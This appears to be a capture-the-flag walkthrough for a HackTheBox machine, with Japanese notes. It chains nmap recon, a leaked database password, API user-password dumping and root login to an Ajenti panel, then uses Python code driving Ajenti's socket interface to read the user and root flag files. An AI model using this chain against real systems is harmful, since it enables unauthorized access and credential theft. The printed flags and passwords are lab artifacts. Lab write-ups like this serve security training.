nmap -Pn -sV -sC -p 21,22,80,3000,8000 10.129.65.33

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
22/tcp   open  ssh?
80/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
3000/tcp open  http    Node.js Express framework
8000/tcp open  http    Ajenti http control panel

Service detection performed. 1 IP address (1 host up) scanned in 78.47 seconds

curl -s http://10.129.65.33/ | grep -i title

  <title>Luke</title>

curl -s ftp://anonymous:anonymous@10.129.65.33/webapp/for_Chihiro.txt

Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !

Derry

curl -s http://10.129.65.33/config.php

$dbHost = 'localhost';
$dbUsername = 'root';
$dbPassword  = 'Zk6heYCyv6ZE9Xcg';
$db = "login";

$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);

curl -s -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' \
  http://10.129.65.33:3000/login

{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzg5NzQwNzQzLCJleHAiOjE3ODk4MjcxNDN9._xaOzUXwIuJs3PHQkmgbZG3QsMlR4IlVAs0wXTt9cH8"}

TOKEN="eyJhbGciOiJIUzI1NiIs..."
curl -s -H "authorization: $TOKEN" http://10.129.65.33:3000/users

[{"ID":"1","name":"Admin","Role":"Superuser"},
 {"ID":"2","name":"Derry","Role":"Web Admin"},
 {"ID":"3","name":"Yuri","Role":"Beta Tester"},
 {"ID":"4","name":"Dory","Role":"Supporter"}]

for u in admin derry yuri dory; do
  curl -s -H "authorization: $TOKEN" http://10.129.65.33:3000/users/$u; echo
done

{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
{"name":"Yuri","password":"bet@tester87"}
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}

# 小文字 "derry" では 401 になる点に注意 (htpasswd は大文字小文字を区別する)
curl -s -o /dev/null -w '%{http_code}\n' -u "derry:rZ86wwLvx7jUxtch" http://10.129.65.33/management/config.json
curl -s -o /dev/null -w '%{http_code}\n' -u "Derry:rZ86wwLvx7jUxtch" http://10.129.65.33/management/

401
200

curl -s -u "Derry:rZ86wwLvx7jUxtch" http://10.129.65.33/management/config.json | python3 -m json.tool

{
    "users": {
        "root": {
            "configs": {
                "ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}",
                "ajenti.plugins.munin.client.MuninClient": "{... \"password\": \"123\" ...}",
                ...
            },
            "password": "KpMasng6S5EtTy9Z",
            "permissions": []
        }
    },
    "bind": {"host": "0.0.0.0", "port": 8000},
    "authentication": true
}

POST /ajenti:auth
Content-Type: application/x-www-form-urlencoded

username=root&password=KpMasng6S5EtTy9Z

HTTP/1.1 302 Found
Set-Cookie: session=<session-id>; ...

# 1. handshake: GET /ajenti:socket/1/?t=<ms>
#    → "<sid>:<heartbeat秒>:<timeout秒>:websocket,flashsocket,xhr-polling,jsonp-polling"
# 2. xhr-polling で送受信:
#    GET/POST /ajenti:socket/1/xhr-polling/<sid>?t=<ms>
# 3. パケット形式 "<type>:<id>:<endpoint>:<data>"
#    type 1=connect, 3=message, 5=event
#    namespace接続は "1::/stream" ← コロン3個必須
#    (4個にすると endpoint が空文字列扱いになり no_such_namespace エラー)
sess.post(url, data="1::/stream")

import zlib, base64, json

def decompress_arg(frame_bytes):
    b64 = re.search(rb'"args":\["(.*)"\]', frame_bytes).group(1).replace(b'\\"', b'"')
    raw = base64.b64decode(b64)
    return zlib.decompress(raw, -15)   # ← headerなし raw deflate (標準zlibでは失敗)

ui_tree = json.loads(decompress_arg(frame))

# セクション切替は対象セクション自身への click ではなく、
# main:sections_root ウィジェットへ switch イベントを送る
switch = {"type": "ui_update", "content": [
    {"type": "event", "uid": sections_root_uid, "event": "switch",
     "params": {"uid": notepad_section_uid}}
]}

当初、最も直接的な方法として Ajenti の Terminal プラグインでコマンドを実行し
cat でフラグを読む方式を試みた:

  ・"New"/"Run" ボタンで terminal:thumbnail(擬似端末オブジェクト)は正常に生成される
  ・/terminal namespace への select は成功する(初期 "set" イベントも届く)
  ・しかし画面バッファ(35行×160列)が恒久的に完全な空白のまま一切更新されない
  ・xhr-polling / 生 WebSocket の両トランスポートで同一の空バッファが返るため、
    クライアント側の実装ミスではなく、サーバー側 PTY(forkpty 相当)自体が
    この FreeBSD 環境で機能していないと推測される

次に File Manager プラグインでファイルのプロパティダイアログ内 "Edit" ボタンを
試したが、クリック後そのセッションの xhr-polling チャンネルが
以後ずっと ReadTimeout になり応答不能になった(Ajenti デーモン自体は
クラッシュしないが、そのセッションだけ死ぬ)。

さらに、これらの機能を繰り返し試行(不正な形式のパケット送信や過度な
ポーリング)した結果、Ajenti デーモン自体がクラッシュして
connection refused になる事象も一度発生した。自動リスタートは
無いため、HTB 側でのマシンリセットが必要になった。

# 1. main:sections_root へ switch イベントで "Notepad" セクションへ切替
# 2. "Open" ボタンを click → openfiledialog が開く(ルート "/" のファイル一覧)
# 3. パスの各セグメントを順に listitem の label テキストで検索して click
#    例: /root/root.txt なら listitem"root" → listitem"root.txt"
# 4. 最後のファイル名を click すると、レスポンスの ui_update 内の
#    codearea ウィジェットの "value" プロパティにファイル内容全体が入る

def read_file(path):
    switch_to("Notepad")
    click(open_button_uid)
    cur_ui = get_ui()
    for seg in [s for s in path.split("/") if s]:
        li = find_listitem_by_label(cur_ui, seg)
        click(li["uid"])
        cur_ui = get_ui()
    codearea = find_by_type(cur_ui, "codearea")
    return codearea["value"]

# path = "/home/derry/user.txt"
# listitem "home" → listitem "derry" → listitem "user.txt" の順に click
content = read_file("/home/derry/user.txt")
print(content)

1a42148d29457db189e3aaaac97863ab

# path = "/root/root.txt"
# listitem "root" → listitem "root.txt" の順に click
content = read_file("/root/root.txt")
print(content)

b0b884d986d69b192a1e89db709b4fb8